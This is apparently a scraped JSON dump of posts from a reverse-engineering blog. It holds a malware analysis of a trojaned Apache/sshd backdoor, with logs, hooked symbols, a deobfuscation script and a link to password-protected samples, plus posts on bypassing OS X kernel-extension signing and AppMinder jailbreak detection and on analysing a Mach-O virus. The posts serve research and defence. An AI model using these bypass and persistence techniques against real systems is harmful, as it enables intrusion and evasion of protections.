cmdline:mv-f/tmp/X3Cm2rXtncgR7scn_m.tmp/usr/local/apache/bin/httpd exec: tid=181980 pid=181980 /bin/mv now: 2014-1-31 11:21:53 PID: 181981 uid: 0 gid: 0 181981 cmdline:/bin/sh/sbin/servicehttpdstop exec: tid=181981 pid=181981 /bin/bash now: 2014-1-31 11:22:0 PID: 182017 uid: 0 gid: 0 182017 cmdline:cp-a/usr/sbin/arpd /tmp/X3Cm2rXtncgR7scn_m.tmp exec: tid=182017 pid=182017 /bin/cp now: 2014-1-31 11:22:0 PID: 182018 uid: 0 gid: 0 182018 cmdline:mv-f/tmp/X3Cm2rXtncgR7scn_m.tmp/usr/local/apache/bin/httpd exec: tid=182018 pid=182018 /bin/mv now: 2014-1-31 11:22:0 PID: 182019 uid: 0 gid: 0 182019 cmdline:touch-r/usr/sbin/arpd /usr/local/apache/bin/httpd exec: tid=182019 pid=182019 /bin/touch now: 2014-1-31 11:22:0 PID: 182020 uid: 0 gid: 0 182020 cmdline:/usr/sbin/tunelp -r/usr/sbin/arpd /usr/local/apache/bin/httpd exec: tid=182020 pid=182020 /usr/sbin/tunelp An incoming sshd connection stops the original Apache, copies over the trojaned version, starts it again, and replaces again the trojaned binary with the original copy. Three foreign binaries are installed in the filesystem, all three ending in space to hide in plain sight:\n\u0026quot;/usr/bin/s2p \u0026ldquo;, the trojaned httpd. \u0026quot;/usr/sbin/arpd \u0026ldquo;, the original httpd. \u0026quot;/usr/sbin/tunelp \u0026ldquo;, touch2 to restore time of original apache. sh-4.1# ls -la /usr/sbin/arp* -rwxr-xr-x 1 root root 42704 Nov 23 21:26 /usr/sbin/arpd -rwxr-xr-x 1 root root 1501046 Jan 29 17:37 /usr/sbin/arpd sh-4.1# ls -la /usr/sbin/tunelp* -rwxr-xr-x 1 root root 12536 Nov 24 18:58 /usr/sbin/tunelp -rwxr-xr-x 1 root root 10648 Nov 24 18:58 /usr/sbin/tunelp sh-4.1# ls -la /usr/bin/s2p* -rwxr-xr-x 2 root root 53325 Nov 24 14:32 /usr/bin/s2p -rwxr-xr-x 1 root root 1546321 Nov 24 14:32 /usr/bin/s2p This made easy to find out the remote IP where the ssh connection was coming from, 41.77.114.49, located in Morocco. You probably want to add this IP to your firewall(s) rules 😄.\nNext question: how is the sshd connection happening? I started by disabling the different authentication methods in sshd configuration. One curious detail is that if you disable PermitRootLogin the remote login will fail. Someone forgot to patch that in the sshd backdoor. SSHD logs didn’t reveal much about what was happening so the system logger or sshd were obviously patched. Enabling DEBUG3 mode in sshd logging only got this output:\nJan 31 17:51:31 sr71 sshd[240566]: debug3: fd 5 is not O_NONBLOCK Jan 31 17:51:31 sr71 sshd[240566]: debug1: Forked child 240955. Jan 31 17:51:31 sr71 sshd[240566]: debug3: send_rexec_state: entering fd = 8 config len 647 Jan 31 17:51:31 sr71 sshd[240566]: debug3: ssh_msg_send: type 0 Jan 31 17:51:31 sr71 sshd[240566]: debug3: send_rexec_state: done Jan 31 17:51:31 sr71 sshd[240955]: debug3: oom_adjust_restore Jan 31 17:51:31 sr71 sshd[240955]: Set /proc/self/oom_score_adj to -1000 Jan 31 17:51:31 sr71 sshd[240955]: debug1: rexec start in 5 out 5 newsock 5 pipe 7 sock 8 Jan 31 17:51:31 sr71 sshd[240955]: debug1: inetd sockets after dupping: 3, 3 Jan 31 17:51:31 sr71 sshd[240955]: Connection from 41.77.114.49 port 54399 After connection from line there was no logging related to this connection, which was obviously a strong indicator something was wrong with sshd or syslogd. The RPMs signatures appeared to be ok for both. Another web search revealed some clues about the potential sshd backdoor:\n0day Linux/CentOS SSHd Spam Exploit — libkeyutils.so.1.9 SSHD Rootkit Again the mentioned clues could not be found in the library installed in the system, although its size was twice as big versus the version in a clean system. To find out if this was true, I attached GDB to sshd process and waited for the backdoor connection. I had a breakpoint in the logging function and traced it. Voilá, __syslog_chk was hooked and redirect into libkeysutils.so.1.3 library. This is an upgraded sshd rootkit version.\nsh-4.1# ls -la /lib64/libkeyutils.so* lrwxrwxrwx 1 root root 18 Jun 22 2012 /lib64/libkeyutils.so.1 -\u0026gt; libkeyutils.so.1.3 -rwxr-xr-x 1 root root 35320 Jun 22 2012 /lib64/libkeyutils.so.1.3 sh-4.1# rpm -qf /lib64/libkeyutils.so.1.3 keyutils-libs-1.4-4.el6.x86_64 sh-4.1# rpm -V keyutils-libs-1.4-4.el6.x86_64 sh-4.1# This time the strings are obfuscated and function pointers are hijacked instead of the usual inline hooking. A sample list of hooked symbols from a memory dump:\n0x7f55592508f0,No symbol matches $ptr. 0x7f55592508f8,No symbol matches $ptr. 0x7f5559250900,No symbol matches $ptr. 0x7f5559250908,connect in section .text of /lib64/libc.so.6 0x7f5559250910,No symbol matches $ptr. 0x7f5559250918,No symbol matches $ptr. 0x7f5559250920,No symbol matches $ptr. 0x7f5559250928,No symbol matches $ptr. 0x7f5559250930,__syslog_chk in section .text of /lib64/libc.so.6 0x7f5559250938,write in section .text of /lib64/libc.so.6 0x7f5559250940,No symbol matches $ptr. 0x7f5559250948,No symbol matches $ptr. 0x7f5559250950,No symbol matches $ptr. 0x7f5559250958,No symbol matches $ptr. 0x7f5559250960,No symbol matches $ptr. 0x7f5559250968,No symbol matches $ptr. 0x7f5559250970,MD5_Init in section .text of /usr/lib64/libcrypto.so.10 0x7f5559250978,MD5_Update in section .text of /usr/lib64/libcrypto.so.10 0x7f5559250980,MD5_Final in section .text of /usr/lib64/libcrypto.so.10 0x7f5559250988,PEM_write_RSAPrivateKey in section .text of /usr/lib64/libcrypto.so.10 0x7f5559250990,PEM_write_DSAPrivateKey in section .text of /usr/lib64/libcrypto.so.10 0x7f5559250998,hosts_access in section .text of /lib64/libwrap.so.0 0x7f55592509a0,refuse in section .text of /lib64/libwrap.so.0 0x7f55592509a8,SHA1 in section .text of /usr/lib64/libcrypto.so.10 0x7f55592509b0,MD5 in section .text of /usr/lib64/libcrypto.so.10 0x7f55592509b8,sysconf in section .text of /lib64/libc.so.6 0x7f55592509c0,mprotect in section .text of /lib64/libc.so.6 0x7f55592509c8,waitpid in section .text of /lib64/libc.so.6 0x7f55592509d0,fork in section .text of /lib64/libc.so.6 0x7f55592509d8,exit in section .text of /lib64/libc.so.6 0x7f55592509e0,tmpfile@@GLIBC_2.2.5 in section .text of /lib64/libc.so.6 0x7f55592509e8,shmget in section .text of /lib64/libc.so.6 0x7f55592509f0,shmat in section .text of /lib64/libc.so.6 0x7f55592509f8,shmdt in section .text of /lib64/libc.so.6 0x7f5559250a00,dlinfo in section .text of /lib64/libdl.so.2 0x7f5559250a08,dlopen@@GLIBC_2.2.5 in section .text of /lib64/libdl.so.2 0x7f5559250a10,getsockname in section .text of /lib64/libc.so.6 0x7f5559250a18,socket in section .text of /lib64/libc.so.6 0x7f5559250a20,bind in section .text of /lib64/libc.so.6 0x7f5559250a28,getnameinfo in section .text of /lib64/libc.so.6 0x7f5559250a30,getpeername in section .text of /lib64/libc.so.6 0x7f5559250a38,gethostbyname in section .text of /lib64/libc.so.6 0x7f5559250a40,send in section .text of /lib64/libc.so.6 0x7f5559250a48,sleep in section .text of /lib64/libc.so.6 0x7f5559250a50,getenv in section .text of /lib64/libc.so.6 0x7f5559250a58,geteuid in section .text of /lib64/libc.so.6 0x7f5559250a60,inet_ntoa in section .text of /lib64/libc.so.6 0x7f5559250a68,ssignal in section .text of /lib64/libc.so.6 0x7f5559250a70,siglongjmp in section .text of /lib64/libc.so.6 0x7f5559250a78,__sigsetjmp in section .text of /lib64/libc.so.6 0x7f5559250a80,BIO_new_mem_buf in section .text of /usr/lib64/libcrypto.so.10 0x7f5559250a88,BIO_free in section .text of /usr/lib64/libcrypto.so.10 0x7f5559250a90,PEM_read_bio_RSAPublicKey in section .text of /usr/lib64/libcrypto.so.10 0x7f5559250a98,RSA_public_decrypt in section .text of /usr/lib64/libcrypto.so.10 0x7f5559250aa0,RSA_free in section .text of /usr/lib64/libcrypto.so.10 0x7f5559250aa8,__res_query in section .text of /lib64/libresolv.so.2 0x7f5559250ab0,__res_state in section .text of /lib64/libc.so.6 And a quick IDC script to deobfuscate the XOR’ed strings:\n#include \u0026lt;idc.idc\u0026gt; auto start, end; auto xor1, xor2; auto ea; auto a, b; start = 0x3947C07398; end = 0x3947C07897; xor1 = 0x253882E; xor2 = 0x39FD3C83; ea = start; while (ea \u0026lt;= end) { PatchDWord(ea, Dword(ea) ^ xor1); PatchDword(ea+4, Dword(ea+4) ^ xor2); ea = ea + 8; } Message(\u0026#34;End!\\n\u0026#34;); The RSA public key found inside the library (used to login?):\n-----BEGIN RSA PUBLIC KEY----- MIGJAoGBAO9KdhaD9i6C8DdK4a1KFLwc7FvqdKPpw+qTZU2rMBFr1ZuSQavMdm++ K6yhjdEmI0k9e3g8GLGn62tFPMBKALCiakkAGcIFoHk+eyMGY6KEiZP4/st/PBFK J7mBB0HOJHjMxZIrlgIGWEc8LzDWQK5m2/8gWvOBfNSmDprWKI49AgMBAAE= -----END RSA PUBLIC KEY----- The code for the syslog hook:\nAnd a screenshot of the startup code of the library where it deobfuscates the XOR’ed strings and calls dlsym to solve the to be hooked symbols addresses:\nThe final question other than how the initial breach was made, is how the remote sshd connection is signaled. The backdoor tries to stay low profile by having a delay between the restart of legit httpd and the backdoor version. It is annoying when you try to test some hypothesis – you need to wait for the restart, which usually takes around 10 to 15 minutes. I haven’t reversed this part but my assumption is that httpd signals the remote system when it is started. This is because the backdoored library is also linked in httpd so it appears to me to be a good assumption. This is the reason why I initially assumed there was a twice an hour cron job.\nThis new version tries to fix some of the flaws of the previously found sample by encoding strings and keeping a clean httpd binary in the system. The problem is that it also leaves important clues when it tries to hide its tracks. The logging and deleted binaries are very good clues that something wrong is happening in the system, and good starting points to understand and track the trojaned binaries. Delayed operations are an effective old malware trick to delay and frustrate a bit the analysis.\nI am leaving here all the binaries in case in want to reverse it and maybe find some additional interesting facts. I did not look up at the shared memory segment. It should be very similar to previous sample. I am not posting a copy of it because there might be some private information inside it.\nThis was a fun adventure! I stopped using Linux five years ago when I left my position at SIBS. Chasing rookits is as much fun as writing them.\nI think this briefs most of the important details about this backdoor. I will update this post in case I missed something. The binaries are below so feel free to poke around.\nHave fun,\nfG!\nSample binaries:\nHackingTeamRDorksA_samples.zip (Password is: infected!)\n","permalink":"https://reverse.put.as/2014/02/05/linuxhackingteamrdorks-a-a-new-and-improved-version-of-linuxcdorked-a/","summary":"Disclaimer: This malware sample is not in any way related to Hacking Team (as far as I know) other than me making some jokes about them related to a future presentation about their OS X malware product.\nTwo months ago (maybe three) I started noticing a sporadic redirect when I accessed these blog pages. It wasn’t anything \u0026ldquo;malicious\u0026rdquo; as far as I could evaluate; just a redirect to adult friend finder site.","title":"Linux/HackingTeamRDorks.A, a “new” and improved version of Linux/CDorked.A"},{"content":"For some reason Apple wants to change external kernel extensions location from /System/Library/Extensions to /Library/Extensions and introduced in Mavericks a code signing requirement for all extensions and/or drivers located in that folder. Extensions will not be loaded if not signed (those located in the “old” folder and not signed will only generate a warning [check my SyScan360 slides]). The signing certificates require a special configuration and to obtain them you need to justify it. You know, there are people out there coding rootkits and other nasty stuff.\nA couple of days ago while trolling around in IRC someone complained about this and I decided to give it a quick try (I sort of already knew it would work this way but never really tried it). Kextd is the daemon responsible for processing requests to load kernel extensions. The message you get when trying to load a unsigned kernel extension is: \u0026ldquo;ERROR: invalid signature for %@, will not load\u0026rdquo;. Load IDA, disassemble and search for this string (the alternative is to go to opensource.apple.com and download 10.9 kext_tools package – my brain defaults to IDA!). What you can see is this code for one of the two hits:\nOSStatus sigResult = checkKextSignature(theKext, true); if ( sigResult != 0 ) { if ( isInLibraryExtensionsFolder(theKext) || sigResult == CSSMERR_TP_CERT_REVOKED ) { /* Do not load if kext has invalid signature and comes from * /Library/Extensions/ */ CFStringRef myBundleID; // do not release myBundleID = OSKextGetIdentifier(theKext); result = kOSKextReturnNotLoadable; // see 13024670 OSKextLogCFString(NULL, kOSKextLogErrorLevel | kOSKextLogLoadFlag | kOSKextLogIPCFlag, CFSTR(\u0026#34;ERROR: invalid signature for %@, will not load\u0026#34;), myBundleID ? myBundleID : CFSTR(\u0026#34;Unknown\u0026#34;)); } Nothing more than a simple call to the check signature function and then a simple test to see if it was valid or not. This is pretty common in (lame) software protection schemes. One of the usual ways to bypass it is to NOP the test. Or you can just patch the checkKextSignature and return always TRUE. Many different ways to solve it.\nNow to the interesting part. I have no idea what was Apple thinking (sometimes they do not seem to think!) by implementing the code signature checks like this. It is very hard (to impossible) to protect kextd against something running at the same privilege level (kextload or something else require root to load kernel extensions). To launch the rootkit one just simply needs a binary that runtime patches kextd (task_for_pid, mach_vm_protect, mach_vm_write) and then loads the rootkit . Game over!\nOf course it is easy to argue that if attacker got root everything is possible and the game is lost. Maybe! But making things like this is just security theatre and nothing else. It creates a useless artificial barrier to load unsigned code into the kernel and a false sense of security. This kind of checks needs to be done in the kernel, at a different privilege level. True that a rootkit can just patch files at disk and bypass a kernel protection but a non persistent rootkit just needs to patch kextd, get loaded and do its work. This is just (more?) careless and sloppy work from Apple.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2013/11/23/breaking-os-x-signed-kernel-extensions-with-a-nop/","summary":"For some reason Apple wants to change external kernel extensions location from /System/Library/Extensions to /Library/Extensions and introduced in Mavericks a code signing requirement for all extensions and/or drivers located in that folder. Extensions will not be loaded if not signed (those located in the “old” folder and not signed will only generate a warning [check my SyScan360 slides]). The signing certificates require a special configuration and to obtain them you need to justify it.","title":"Breaking OS X signed kernel extensions with a NOP"},{"content":"One thing that really bothered me for a long time while debugging is the need to calculate the libraries loaded addresses versus the addresses at disk if you want to follow and comment library code in IDA. While the ASLR slide can also be disabled when starting processes (or even attaching by disabling it first in the Mach-O header) sometimes I want to attach to ASLR enabled processes and once again I need to compute values without the slide to follow in IDA.\nLast week I finally got fed up of this problem and decided to take action and dive into the unknown world of GDB source code. Oh boy, it’s quite an adventure but this time I managed to escape alive out of it! The result is what I think it is a very nice patch that can save time to fellow reversers (this might be the moment where someone says it already exists, he he he!). At least I like it very much since it gives me right away information that I like to have.\nWhat the patch does it to show you the non-ASLR address value (if ASLR is set) and to which image the address belongs to. This avoids the step to use info shared command or vmmap util to dump the addresses and lookup where it belongs to (I think there is a GDB command for this, but it is still another extra step). The patch is not yet perfect because the GDB source is a mess with a few different conditions that do not make a lot of sense (not commented code does not help!). What I implemented seems to work for most cases so I am happy with it for now. Oh, there is also some CPU waste to search the addresses. Let’s do it game style by abusing today’s fast CPUs and forgetting “optimization”. Two screenshots, one of the entrypoint for ls command and the other inside a library call.\nI don’t like the lack of alignment of the image name but that requires more messing with internal GDB stuff and I need a new dose of courage to get into. Submit patches if you dare!\nSource code located at GitHub repo https://github.com/gdbinit/gdb-ng also with fixes to use darwinbuild with Xcode 5. Maybe I should buy an Apple developer certificate and start distributing signed binaries.\nHave fun,\nfG!\nP.S.: Read this post about how to compile GDB using darwinbuild.\nUpdate: Just added an option to print only the image name without full path. Default is disabled and variable to set is print-full-path. Just pull from the github repo.\n","permalink":"https://reverse.put.as/2013/11/08/one-small-patch-for-gdb-one-giant-leap-for-reversers/","summary":"One thing that really bothered me for a long time while debugging is the need to calculate the libraries loaded addresses versus the addresses at disk if you want to follow and comment library code in IDA. While the ASLR slide can also be disabled when starting processes (or even attaching by disabling it first in the Mach-O header) sometimes I want to attach to ASLR enabled processes and once again I need to compute values without the slide to follow in IDA.","title":"One small patch for GDB, one giant leap for reversers!"},{"content":"Last week ESET released a Rootkit Detector tool for OS X. I finally gave a look at it today and as I suspected it is useless (unless rootkit authors are not reading my slides like ESET does not seem to). The only thing it appears to be doing is to check if sysent pointers were modified. Let’s be honest, it’s useless in particular when they mention they have limited visibility into OS X rootkits. So the way to improve it is to release a tool that only verifies old tricks from known rootkits. That’s the way to go!\nThe tool loads a kernel extension that will retrieve some information such as the kernel ASLR slide and sysent table. Just by looking at the code you know this is a fail. It will not work with Mavericks since the sysent structure is different as my SyScan360 slides show.\nIt is also extremely easy to detect using the same trick to attack the memory dumpers (once again, SyScan360 slides). A device called esysent is created by the kernel extension. Just hook devfs_make_node, lookup for this device and when detected play with it. Game over, flawless victory!\nTo prove how useless it is, I just loaded my PoC rootkit using the shadow sysent method and ESET tool says there is no rootkit loaded. The system is safe. Yeah, right!\nBesides the useless scanning technique used, its design can’t work. It requires a driver to analyse what is happening inside the kernel and that’s is the weakest link. A rootkit can easily control and react to drivers being loaded. The real problem is no Apple supported interface for interacting with kernel memory in a default install (kmem can be enabled with a boot parameter, non-default). I doubt Apple will ever restore /dev/kmem by default or implement a secure interface for this kind of stuff because there is no such thing as OS X rootkit(s), right?\nConclusion: don’t trust this tool or any other tools that promise point and click rootkit hunting. The game is a bit harder and you can’t win playing it with this kind of tools.\nESET, at least read my slides ok?\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2013/09/30/why-esets-os-x-rootkit-detector-is-useless/","summary":"Last week ESET released a Rootkit Detector tool for OS X. I finally gave a look at it today and as I suspected it is useless (unless rootkit authors are not reading my slides like ESET does not seem to). The only thing it appears to be doing is to check if sysent pointers were modified. Let’s be honest, it’s useless in particular when they mention they have limited visibility into OS X rootkits.","title":"Why ESET’s OS X Rootkit Detector is useless..."},{"content":"Eight days and 10 flights later I am back from SyScan360 in Beijing. It was my first visit to China and I had lots of fun observing many things that I only “knew” from reading. The scale and dimension of everything in Beijing is quite a surprise. No wonder why every Western company wants to be there. We had great food and an awesome visit to the Great Wall. A big thank you to the boys and girls from the organization for all their hard work and dedication.\nThe conference was very cool, even if it was full of “security guards” and metal detectors at entry. Stefan’s presentation was pretty epic (as usual) and I particurarly liked Jonathan Brossard presentation (maybe because he attacked some assumptions in the malware industry). As usual there was almost no exchange of ideas between the atendees and speakers. This is something that really bothers me in conferences. It seems like a lost opportunity for both sides to learn new things. Don’t be shy people, speakers are like you with the extra work of having to speak in public.\nMy slides are available here. They contain a quick review of previous presentations made this year, and some new stuff attacking Volatility and signed kernel extensions to be introduced in Mavericks. Once again, simple stuff that is effective and easy to implement. What else do we need?\nEnjoy,\nfG!\n","permalink":"https://reverse.put.as/2013/09/30/syscan360-beijing-slides/","summary":"Eight days and 10 flights later I am back from SyScan360 in Beijing. It was my first visit to China and I had lots of fun observing many things that I only “knew” from reading. The scale and dimension of everything in Beijing is quite a surprise. No wonder why every Western company wants to be there. We had great food and an awesome visit to the Great Wall. A big thank you to the boys and girls from the organization for all their hard work and dedication.","title":"SyScan360 Beijing slides"},{"content":"Taipei is definitely one of my favourite cities in the world!\nI love its “infinite” amount of small shops, in particular at night when lights are on. Streets look so beautiful and busy. Everyone is very friendly and respectful, and most important, I feel very safe. And the food is awesome (thank you Thomas!). I really love it! If you like Asia, Taiwan is a must visit.\nThe only problem is language – English is not widely spoken. It seems I will need to join my daughther when she starts learning Mandarin.\nMy presentation didn’t went very well because I suffered from a terrible jetlag attack the night before. Slept one hour and couldn’t remember all the slides. Didn’t help using a PDF – no next slide info! You learn with your own mistakes. And as usual I exceeded my time slot. I talk too much!\nThe slides are slightly changed from previous presentations, fixing/reordering some things and minor additions (small details related to OS X Mavericks).\nThank you to everyone at HiTCON for their great work.\nEnjoy,\nfG!\nHiTCON 2013 Presentation Slides\n","permalink":"https://reverse.put.as/2013/07/30/hitcon-2013-slides/","summary":"Taipei is definitely one of my favourite cities in the world!\nI love its “infinite” amount of small shops, in particular at night when lights are on. Streets look so beautiful and busy. Everyone is very friendly and respectful, and most important, I feel very safe. And the food is awesome (thank you Thomas!). I really love it! If you like Asia, Taiwan is a must visit.\nThe only problem is language – English is not widely spoken.","title":"HiTCON 2013 slides"},{"content":"There’s a new attempt at jailbreak detection available at http://appminder.nesolabs.de. It is mostly aimed at Enterprise applications and not AppStore usage. I am not sure about AppStore rules but those tricks will most probably not pass the approval process.\nAppMinder provides three levels of jailbreak detection and anti-debugging measures. The different levels are related to self-integrity checking and code obfuscation rates. When you generate a new protection, it will give you some plug’n’pray code to plug in into your existent code base. It is very easy to integrate. There is some polymorphism on each generation – code is different but the high-level operations will be the same. For my analysis I have used the C variant – self-integrity checking level and code obfuscation rate both high.\nThe core of jailbreak detection is located in a big inline assembler function with random name on each generation, and in a single line to make it a bit more annoying to read. In OS X you can easily convert it to line by line with sed “s/;/\\echo -e ‘\\n\\r’/g”. IDA has some trouble disassembling it but you can help it by manually defining code. It was late and I did not bothered to verify these IDA troubles.\nFirst thing that you easily notice are the SVC 0x80 instructions. This is the INT 80 equivalent in ARM (there’s also the old name SWI). The system call number should be passed on R12 register. There is some small obfuscation to try to hide the syscall numbers but nothing hard to follow. You can quickly understand that there are no new jailbreak detection tricks – fork, ptrace, exit are being called and tested. Old tricks indeed.\nThis function is also responsible for setting the contents of four arrays, that will be used for self-checksum. Sample code:\n#if !(TARGET_IPHONE_SIMULATOR) unsigned int so[2]; unsigned int sr[2]; unsigned int sn[2]; unsigned int cs[2]; unsigned int a = 0x96ed; unsigned int b = 1; unsigned int i = 0; (void) memset (so, 0x00, sizeof (so)); (void) memset (sr, 0x00, sizeof (sr)); (void) memset (sn, 0x00, sizeof (sn)); (void) memset (cs, 0x00, sizeof (cs)); gKLuXlstmJe (so, sr, sn, cs); #endif __attribute__ ((always_inline)) static void gKLuXlstmJe (unsigned int *so, unsigned int *sr, unsigned int *sn, unsigned int *cs) While it does not matter much as I will show you next, there is no protection whatsoever against hardware breakpoints. These can be used and abused to debug this. Oh, iOS GDB does not have this feature enabled. I have to find some time to port and fix that.\nThe syscall calls give up the location of this function. We just need to find the 0x80DF binary pattern to locate the first syscall and the last one (word of caution: the self-integrity checks also use this instruction some times). One way to bypass it is to jump from the first SVC 0x80 to the next instruction after the last one. You can either do this by patching and resigning the binary or with a debugger.\nThe next step is to beat the self-integrity checksums. They should be inserted in the same function where above’s jailbreak detection code is used. Sample code:\n#if !(TARGET_IPHONE_SIMULATOR) for (i = 0; i \u0026lt; (sizeof (so) / sizeof (unsigned int)); i++) { if (((unsigned short)so[i] != (a + 0x4893) \u0026amp;\u0026amp; ((unsigned short)(so[i] \u0026gt;\u0026gt; 16) != (a + 0x4893)))) { asm volatile (\u0026#34;pop {r1-r15};\u0026#34;); } } #endif #if !(TARGET_IPHONE_SIMULATOR) for (i = 0; i \u0026lt; (sizeof (sr) / sizeof (unsigned int)); i++) { if (sr[i] != (a - a + b)) { asm volatile (\u0026#34;movw r6, #96;movt r6, #107;bx r6;\u0026#34;); } } #endif #if !(TARGET_IPHONE_SIMULATOR) for (i = 0; i \u0026lt; (sizeof (sn) / sizeof (unsigned int)); i++) { if (sn[i] != (a - a + (b + b))) { asm volatile (\u0026#34;pop {r2-r15};\u0026#34;); } } #endif #if !(TARGET_IPHONE_SIMULATOR) if (checksum ((char *)(cs[0] - 6), (cs[1] - (cs[0] - 6))) != CHECKSUM) { asm volatile (\u0026#34;mov r0, #1;mov r12, #1;svc 0x80;\u0026#34;); } #endif What we have here are four different checks that use the unsigned int arrays. If checks fail they will crash or exit the application by setting program counter to a bogus value and some other tricks. The inline assembly can’t be used for detection. It is mutated in each generation. The same applies to checksum and \u0026ldquo;a\u0026rdquo; values. But\u0026hellip; the arrays are always referenced and used. And\u0026hellip; they are initialized using memset. Ah\u0026hellip; Breakpoint memset and get the addresses of the four arrays. Watchpoints can be set on each and the location of each check easily found (assuming watchpoints are set to read only). A4 CPU has 4 watchpoints available. I am not sure about A5, the ARM specification supports up to 16. Voilá, everything detected and bypassed. Game over!\nThe problem is very difficult to solve if not impossible for MDM solutions, in particular in iOS due to code signing restrictions (no packing, encryption, and so on). If the device is jailbroken, MDM solutions are at mercy of being modified and any jailbreak detection code will be easily bypassed. Detection is usually based on certain folders, syscalls or functions such as fork and ptrace. Be very careful with the assumptions you make when creating/designing MDM solutions. If the enterprise application depends on not being used in jailbroken devices then you have a big problem in its design (only real solution might be a corporate policy that prohibits jailbroken devices). The protection page says a kernel-level rootkit is required to bypass all checks. This is not true as code injection can be used for the same purpose.\nGreetings to Nesolabs for their effort. The mutation engine is interesting, even with the SVC vulnerability. I hope this will help you to improve the next version. It is a hopeless game to definitely win but time can be bought. In the end time might be the only thing you need, although that applies more to DRM than MDM solutions.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2013/06/30/gone-in-59-seconds-tips-and-tricks-to-bypass-appminders-jailbreak-detection/","summary":"There’s a new attempt at jailbreak detection available at http://appminder.nesolabs.de. It is mostly aimed at Enterprise applications and not AppStore usage. I am not sure about AppStore rules but those tricks will most probably not pass the approval process.\nAppMinder provides three levels of jailbreak detection and anti-debugging measures. The different levels are related to self-integrity checking and code obfuscation rates. When you generate a new protection, it will give you some plug’n’pray code to plug in into your existent code base.","title":"Gone in 59 seconds: tips and tricks to bypass AppMinder’s Jailbreak detection"},{"content":"A reader was asking me some questions related to some stuff I used in my crackme and I decided to release its source code. Enough time went by already and I do not think it has many important secrets.\nNow, you will have to forgive me but that is one hell of ugly source code! I just cleaned up some dead code and some other minor cleanups. Right now I do not have enough time to fix and clean up the code, even if I really do not like it at all. Maybe I will leave that for Crackme #2 one of these days.\nIf you have enough patience to read the messy code there are interesting bits and pieces of code that implement interesting things in OS X. Some are probably not the best approaches but the core concepts are there.\nSource code contains some auxiliary and test utils to test some of the concepts used in the keygen. The most interesting one is probably the Mach-O header mangler.\nFeel free to ask any questions, I will try to help if I can remember it.\nSource code available here https://github.com/gdbinit/crackme_nr1.\nEnjoy and I hope to see soon your own OS X crackmes,\nfG!\n","permalink":"https://reverse.put.as/2013/06/11/another-gift-crackme-1-source-code-from-hell/","summary":"A reader was asking me some questions related to some stuff I used in my crackme and I decided to release its source code. Enough time went by already and I do not think it has many important secrets.\nNow, you will have to forgive me but that is one hell of ugly source code! I just cleaned up some dead code and some other minor cleanups. Right now I do not have enough time to fix and clean up the code, even if I really do not like it at all.","title":"Another gift: Crackme #1 source code from hell!"},{"content":"I was lucky enough to get my hands on an updated version of interesting multiplatform virus and decided to reverse the OS X part. The original virus is from 2006 by JPanic and it’s called CAPZLOQ TEKNIQ v1.0. The new version adds support to infect OS X binaries, 32 bit x86 only, although it supports infection of fat binaries (the x86 version only).\nSource code for the original version is available. I just took a peek at a thing or two, mostly to confirm my assumptions, even if code is a bit different. The code is written in assembly, which is more fun to reverse due to the tricks it allows. It is refreshing to see interesting virus code in OS X for a change.\nMy reversing target is an already infected Mach-O binary, executed in a new environment. What happens is that the infected sample will try to infect other binaries in the new environment. The reason for this is that the original sample I got is the Windows binary, which was used to infect my OS X binary. Since it is multiplatform the virus payload and infection is the same so it is ok to just reverse an infected binary instead of the first generation launcher.\nLet’s do as the Lilliputians wanted to and start the house by the top. How can you spot an infected binary?\nThe __PAGEZERO segment is modified to hold the virus payload. File offset is modified to point to the payload location, appended to the end of the file, and memory protections are modified to read and execute. This is the technique described by Roy G Biv in his 2006 article \u0026ldquo;Infecting Mach-O Files\u0026rdquo;. The other modified command is LC_UNIXTHREAD. Here EIP is redirected to address 0 to execute the virus payload instead of the original entrypoint.\nWithin these conditions detection is easy to achieve because the __PAGEZERO segment should not have those permissions and pointing to valid file offsets. If this happens something fishy is happening, either with this particular virus infection or something else. Maybe Apple can fix this at the Mach-O kernel loader and close this “hole”? Pretty easy to achieve and I can’t foresee for now any nasty side-effects.\nAs far as I experienced there are no anti-debugging measures in the virus payload. These are uncommon in OS X and a bit trickier to implement due to its exception mechanism (prove me wrong, I would love to see them!). IDA does not have any special problems dealing with it except with the jump/call to the middle of instructions, which is easy to solve manually. Hopper can’t disassemble yet the __PAGEZERO segment. You need to load the target as RAW. Vincent is aware of this and will fix it anytime soon.\nThe main body is located at address 0x0 and ends at 0xAE where it returns to the original entrypoint. The following tasks are executed here:\nCRC32 the virus payload, size is hardcoded at address 0x1A, and in my sample it is 0xB3A. Init a “table” with function pointers to other functions. This happens at address 0x48, which calls the function on above screenshot. Mmap __PAGEZERO segment. Lookup all files in the current directory and try to infect them. Supports 32 bit fat and non-fat Mach-O, Windows PE, and ELF. Also sets access and modification time to the original one to hide its modications. If running as root, try to infect binaries in /bin and /usr/bin. Munmap __PAGEZERO segment. Calculate the original entrypoint and return to it. Fix the code of function sub_1C9 and get the following: The function pointers are located in the middle of the code. This function just loops and loads them into the stack. For my analysis I just imagined a table (int table[16]) with all the core data that is used in the code. A sample dump:\n0xbffffa28: 0x421487a3 0x00000000 0x00000000 0x00000000 0xbffffa38: 0x00000000 0x00000000 0x0000002e 0x0000066b 0xbffffa48: 0x000006bd 0x0000073e 0x00000751 0x00000760 0xbffffa58: 0x000007d4 0x00000694 0x00000839 0x0000082f The description of each field:\ntable.0 = Current payload CRC32 table.1 = fd to current directory, ebp-0x5b table.2 = fd to “/bin”, ebp-0x57 table.3 = fd to “/usr/bin”, ebp-0x53 table.4 = pointer to mapped region table.5 = geteuid() result, ebp-4B table.6 = 0x2e “.” – current dir, ebp-0x47 table.7 = function 0x0000066b, does geteuid() and mmap table.8 = function 0x000006bd, ebp-3F, find first file to infect table.9 = function 0x0000073e, ebp-3B, find next file table.10 = function 0x00000751, ebp-0x37, close fd of current directory we tried to infect table.11 = function 0x00000760, ebp-33, mmap target file for infection table.12 = function 0x000007d4, ebp-2F, close file – restore original times, restore chmod, etc table.13 = function 0x00000694, ebp-2B, close all fds and munmap __PAGEZERO table.14 = function 0x00000839, ebp-27, get fds for “.”, “/bin”, and “/usr/bin” table.15 = function 0x0000082f, ebp-23, change working dir using fchdir() The core infection routine is called at 0x52 and located at 0xB8. It starts by executing a getdirentries() of current directory where infected file was executed and looking up for regular files (struct dirent field d_type == DT_REG). Also retrieves the file mode permissions, its size. The file is then open and mmap’ed (chmod is also executed if necessary), and extends the file by 0x3000 via ftruncate(). After this it uses the mmap’ed buffer to determine the type of target by trying to read the magic 